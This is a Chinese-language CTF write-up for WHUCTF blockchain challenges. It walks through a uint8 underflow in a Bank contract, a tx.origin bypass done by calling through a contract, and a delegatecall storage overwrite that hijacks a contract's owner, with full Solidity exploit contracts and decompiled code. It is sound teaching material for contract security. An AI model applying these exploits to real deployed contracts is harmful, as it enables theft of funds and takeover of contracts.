WHUCTF BlockChain wp

武大的比赛，第三题很有意思~

智能合约? 那是啥

• 20 pt
• 17 Solves
• 附件
• 题目描述：
  • FLAG, 点击就送

下下来附件直接看源码，发现 flag 在链上存储，直接去这里查看即可

现在来做运算吧

• 198 pt
• 3 Solves
• 附件
• 题目描述：
  • 无

压缩包里给了源码，先看怎么拿 flag：

function GetTheFlag(string b64email) public{
	require(tx.origin != msg.sender);
	require(unlock[msg.sender] == true);
	emit FLAG(b64email, " You got the flag!!");
}

两个 require，第一个用合约调用绕过，第二个可能需要我们先解锁，搜索一下 unlock，发现在 deposit 里可以改变状态：

function Deposit(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
	require(_value > 5);
	balances[_to] += _value;
	if (balances[_to] == 5) {
		unlock[msg.sender] = true;
	}
}

仔细审计一下不难发现我们要满足两个矛盾的条件，我们不仅要给自己加一个比五块钱大的数，还要让我们的 balance 正好等于五块钱。如果只看这一个函数的话无解，所以再看看其他功能。有个转账的 Transfer 函数，没有检查下溢出，所以我们可以利用这一点来使这个看似矛盾的条件成了。

function Transfer(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
	require(balances[msg.sender] - _value >= 0);
	balances[msg.sender] -= _value;
	balances[_to] += _value;
}

所以我们先调用 transfer 给随便一个人转钱，把自己的余额下溢出（比如转 10 块钱，这样余额就是245），再调用 deposit 给自己充值 15 块钱，这样就满足了题目的条件。

此外，调用函数还需要输入个 pass，由于这个 pass 是存在链上的，所以按照第一题的方法直接去 etherscan 上找就行；还有一点就是上述操作都要用合约来进行以满足 tx.origin != msg.sender，至于原理请看这篇文章。我的合约 exp：

contract exp{
    // imagin Author : imagin
    // Blog : https://imagin.vip
    // Filename : exp.sol
    // Usage : 部署后依次调用 exp1 exp2 exp3

    string email = "aW1hZ2luX3NjaEAxMjYuY29t";
    Bank b = Bank(0x63266aaf6bdF3076a02D49eB73aE847cfd0A945c);
    
    function exp() public payable{
        b.Transfer.value(msg.value)(0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110, 10, 
                0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
        
    }
    function exp2(address addr)public payable{
        b.Deposit.value(msg.value)(addr, 15, 
                0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
    }
    
    function exp3(string email) public {
        b.GetTheFlag(email);
    }
    
    function balan(address addr) view returns(uint) {
        return b.GetBalance(addr);
    }
    
    function lock(address addr) view returns(bool) {
        return b.GetLockedState(addr);
    }
}

Easy_Contract

• 300 pt
• 1 Solves
• 附件
• 题目描述：
  • 啊, 附件里好像少了点啥…
  • 原地址无法接收flag，请使用新地址 新地址： 0x5200E5207b54A70adF77E150A9002dfEF2ECa805 其余信息不变

这题好像从头到尾都只有我一个人在做，合约的交易历史里都没有别人 2333。

压缩包里没源码，只能反编译完硬看，好在代码不长，勉强能看明白。

首先这个合约里提到了仨地址，0x59b4a0d7a0d648069e0145660722f0994b8327f3 是主合约，还有两个地址分别是 0x0a51475da3b09E13a71359D4cD3c295f0Caf1588 和 0xbd700aC7F56a35e8312478ED38688EABbd0A607C。去 etherscan 上反编译会发现这俩合约的编码一样，都是有个签名为 f1596cc8 的函数会把传过来的参数赋给 slot0：

def storage:
  stor0 is uint256 at storage 0

def _fallback() payable: # default function
  revert

def unknownf1596cc8(uint256 _param1): # not payable
  stor0 = _param1

同时我们反编译主合约 0x59b4a0d7a0d648069e0145660722f0994b8327f3 的代码，首先把 storage 结构拎出来：

slot 0  :  0x0000000000000000000000000a51475da3b09e13a71359d4cd3c295f0caf1588
slot 1  :  0x000000000000000000000000bd700ac7f56a35e8312478ed38688eabbd0a607c
slot 2  :  0x000000000000000000000000972db6113b2a90e4a674c3ac0216549fb626858d
slot 3  :  0x0000000000000000000000000000000000000000000000000000000000000000
slot 4  :  0x0000000000000000000000000a51475da3b09e13a71359d4cd3c295f0caf1588
slot 5  :  0x000000000000000000000000bd700ac7f56a35e8312478ed38688eabbd0a607c
slot 6  :  0x000000000000000000000000972db6113b2a90e4a674c3ac0216549fb626858d

会发现 slot 0 1 2 和 slot 4 5 6 是相等的，slot 0 1 又分别是题目给的另外两个合约的地址，slot 2 是创建合约的出题人地址。此外，题目给了 getflag 的函数叫 GetTheFlag，参数是一个 string，所以我们可以用下面的脚本算出来这个函数对应哪个签名：

import sha3
h = sha3.keccak_256("GetTheFlag(string)".encode()).hexdigest()
print(h[:8])

# Output:
# 576cc7e3

对应我们反编译后的代码，就是这一段：

def unknown576cc7e3(array _param1): # not payable
	mem[128 len _param1.length] = _param1[all]
	require caller != tx.origin
	require owner == tx.origin
	unknown396bdc6fAddress = stor4
	unknown87e133cfAddress = stor5
	owner = stor6
	mem[ceil32(_param1.length) + 128] = 64
	mem[ceil32(_param1.length) + 224 len ceil32(_param1.length)] = 
                _param1[all], mem[_param1.length + 128 len ceil32(_param1.length)
                - _param1.length]
	mem[_param1.length + ceil32(_param1.length) + 224] = 19
	mem[_param1.length + ceil32(_param1.length) + 256] = ' You got the flag!!'

可以看到主要有两个 require，我们得用一个出题人创建的合约调用这个函数才能成功。继续审源码，发现另外的函数很有意思：

def unknown79bf10e6(uint256 _param1): # not payable
	delegate unknown396bdc6fAddress with:
		funct (Mask(32, 224, sha3('PreserveID(uint256)')) >> 224)
			gas gas_remaining wei
			args _param1

这里用 delegate 调用了 unknown396bdc6fAddress，再看看 storage 布局，会发现 unknown396bdc6fAddress 就是 slot 0 的 PreserveID()，我们用之前的方法在计算下 PreserveID(uint256) 的哈希值，会发现前八位果然就是 f1596cc8。也就是说这里使用 delegate 调用 slot0 这个地址合约的 f1596cc8 函数，而这个函数会把传过来的参数写到 slot0 上（关于 delegate 造成变量覆盖的原理请看这里），就会覆盖掉本身的合约地址，也就是说我们可以通过调用这个函数把 slot0 指向攻击合约。

到这里题目基本就有下手点了，但是由于我做题时没完全理清楚逻辑，在做到这一步时我先去 etherscan 上翻出题人部署的其他合约，想通过将 slot0 覆盖成出题人的另一个合约，再通过某种方式覆盖掉 memory 上的调用信息来获得 flag，但是很遗憾第一个是没找到出题人部署的合适的合约，第二是是在不知道怎么覆盖掉 memory（这里应该是没法覆盖的，做题时脑残了），所以卡了很久。后来跟出题人讨( p ) 论 ( y ) 了一波才发现直接把 slot0 指向我部署的合约就可以了 o(╥﹏╥)o。

如果合约不是出题人部署的，那我们还得想办法满足 owner == tx.origin，也就是说我们需要把 owner 覆盖掉，这就简单多了。我们第一次调用 79bf10e6 把 slot0 覆盖成攻击合约的地址，再调用一次 79bf10e6，这样主合约就会调用攻击合约的 PreserveID()，由于攻击合约的代码是我们完全可控的，在这里把 slot2 覆盖成我的以太坊地址就可以满足条件 getflag。我的 exp：

contract exp{
    // imagin Author : imagin
    // Blog : https://imagin.vip
    // Filename : exp.sol
    // Usage : 部署后依次调用 step1 step2 getflag

    bytes32 rub1;
    bytes32 rub2;
    address owner;
    
    address tt = 0x5200E5207b54A70adF77E150A9002dfEF2ECa805;
    target tar = target(tt);
    address public my;

    function step1(address addr){
        my = addr;
        bytes4 methodId = bytes4(0x07d8d717);
        tt.call(methodId, addr);
    }
    
    function step2(address addr){
        bytes4 methodId = bytes4(0x79bf10e6);
        tt.call(methodId, 0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110);
    }

    function PreserveID(uint256 a) public{
        owner = 0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110;
    }
    
    function getflag(){
        tar.GetTheFlag("aW1hZ2luX3NjaEAxMjYuY29t");
    }
    
    function getOwner()public view returns(address){
        return tar.owner();
    }
}

这个 exp 调试花了挺长时间的，第一是因为套娃调用，默认的 gas 值会不够而导致交易失败，在交易界面给 Gas Limit 加个 0 就好了。

其次，由于是 delegate call，所以不要在攻击合约里写 this，会被当做主合约的地址解析。